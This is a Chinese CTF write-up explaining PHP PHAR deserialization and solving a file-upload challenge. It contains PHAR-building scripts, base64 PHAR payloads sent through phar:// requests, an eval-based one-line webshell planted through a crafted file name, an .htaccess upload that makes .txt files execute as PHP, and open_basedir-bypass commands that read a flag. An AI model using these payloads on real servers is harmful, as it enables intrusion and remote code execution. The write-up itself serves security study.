知识点:phar反序列化,.htaccess
phar反序列化
这篇讲的非常细:[https://www.cnblogs.com/zzjdbk/p/13030571.html]
原理
phar://
可以解析一个phar的php打包程序,且phar打包程序里有我们的shell
。
那么phar打包文件怎么生成呢?
只要访问页面,就可以通过下面这个来生成一个.phar。
<?php
#要把php.ini中的phar.readonly设置成Off,不然无法生成phar文件
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o);
//将自定义的meta-data存入manifest,且这部分是以序列化的形式存在
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,因为phar相当于一个解压缩,前提就是要现有.phar文件,然后又因为meta-data是由序列化存储,这边添加一个压缩文件包,就是为了在用phar://伪协议的时候触发meta-data的反序列化
//签名自动计算
$phar->stopBuffering();
?>
phar://是怎么执行.phar中的shell的呢?
我们可以看一下.phar的构造,可以清晰的看到里面的meta-data部分,是以序列化的形式构成的。
且在php中有一部分的函数是可以在通过phar://伪协议解析phar文件时,反序列此文件,从而执行meta-data中的内容。
可以反序列化meta-data的函数图
phar利用条件:(来自上面的那篇博客
)
1. php文件要能够上传到服务器端。
2. 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
3. 要有可用的魔术方法作为“跳板”。
4. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意点
析构函数
执行时会改变当前的工作路径,会改为apache的目录。
__destruct
下的默认路径为系统根目录,而不是web的根目录,所以要想办法获得我们上传文件的绝对路径。
Write up
这边我就不放过滤函数了。
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);//ip地址md5加密,作为文件夹名字
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {//创建一个文件夹
//如果此ip目录不存在,则创建一个目录,且最大可能的访问权(0777),允许多级嵌套
mkdir($this->userdir, 0777, true);
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);//可以触发phar://执行我们在__destruct里面写的文件,也就是.phar
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
//上传的文件内容不能有上面那些
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);//把内容写入userdir/filename中,内容为url的内容
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
//将一个一维数组的值转化为字符串
}
public function __destruct() {
//对象结束时候掉用,返回目录名,及文件名
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
}
}
思路:可以通过upload
里的file_get_contents:$this->url
,来触发phar
反序列化,从而触发__destruct
的file_put_contents
进行写文件,虽然只能写.txt
类型的文件,但我们可以上传.htaccess
文件来php解析,又因为析构函数与__destruct
目录路径的问题,所以我们还要知道它的绝对路径,以绝对路径写入我们的文件,可以通过__toString
来获得。
先获取它的绝对路径
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //设置stub
$o = new dir();
$a = new dir();
$a->userdir='../';
$o->userdir=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
先把能获取路径的phar文件的base64上传
action=upload&filename=mull.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAA3PNDYgQAAAAMfn/YtgEAAAAAAAB0ZXN0H0IYEtttGKjXmOSmTMu7uLMCO3ICAAAAR0JNQg==
在用phar://反序列化
action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/mull.txt
原因是:
这边的string连接了两个字符串,触发了__toString
,返回scandir(__DIR__."/"."../")
上级目录。
现在我们就可以看到我们的上级路径。
然后我们需要传一个带有一句话木马文件名的文件,等会要用。
action=upload&filename=<?php eval($_GET['cmd']); ?>.txt&url=http://xxx
接下来就是要写包含一句话木马的文件了。
<?php
class dir{
public $userdir;
public $url;
public $filename;
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); //设置stub
$o = new dir();
$a = new dir();
$a->userdir='upload/cc551ab005b2e60fbdc88de809b2c4b1/';
$o -> filename= '/var/www/html/61cb6463141119ab/upload/cc551ab005b2e60fbdc88de809b2c4b1/webshell';
$o->userdir=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这边用的还是这个
原理:使得$string = "your file in : ".$this->userdir;
触发__toString
,而__toString
会返回return implode(" ",scandir(__DIR__."/".$this->userdir));
,也就是我们传上去的所有文件名,包括一句话木马,然后写入filename
,又因为__destruct
,我们需要上传绝对路径,因为__destruct
默认是系统根目录,而不是web根目录,我们要在网站里访问我们的文件,所以要以绝对路径写。
action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6InVwbG9hZC9jYzU1MWFiMDA1YjJlNjBmYmRjODhkZTgwOWIyYzRiMS8iO3M6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0bWwvNjFjYjY0NjMxNDExMTlhYi91cGxvYWQvY2M1NTFhYjAwNWIyZTYwZmJkYzg4ZGU4MDliMmM0YjEvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAAqPxDYgQAAAAMfn/YtgEAAAAAAAB0ZXN03BgnoIJsZcZoI7qPifWAxeFFBnICAAAAR0JNQg==
虽然此时我们的webshell文件已经包含shell,但是它还是.txt格式,所以我们要上传一个.htaccess解析它。
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
然后再访问webshell.txt,,写shell,这样读文件是因为有open_basdir
详细解读:https://xz.aliyun.com/t/4720#toc-4
?cmd=ini_set(%27open_basedir%27,%20%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%20%27/%27);var_dump(scandir(%27/%27));
?cmd=ini_set(%27open_basedir%27,%20%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%20%27/%27);var_dump(file_get_contents(%27/F1aG_1s_H4r4%27));
参考:
https://www.jianshu.com/p/4bf8614fb944
https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/#ezupload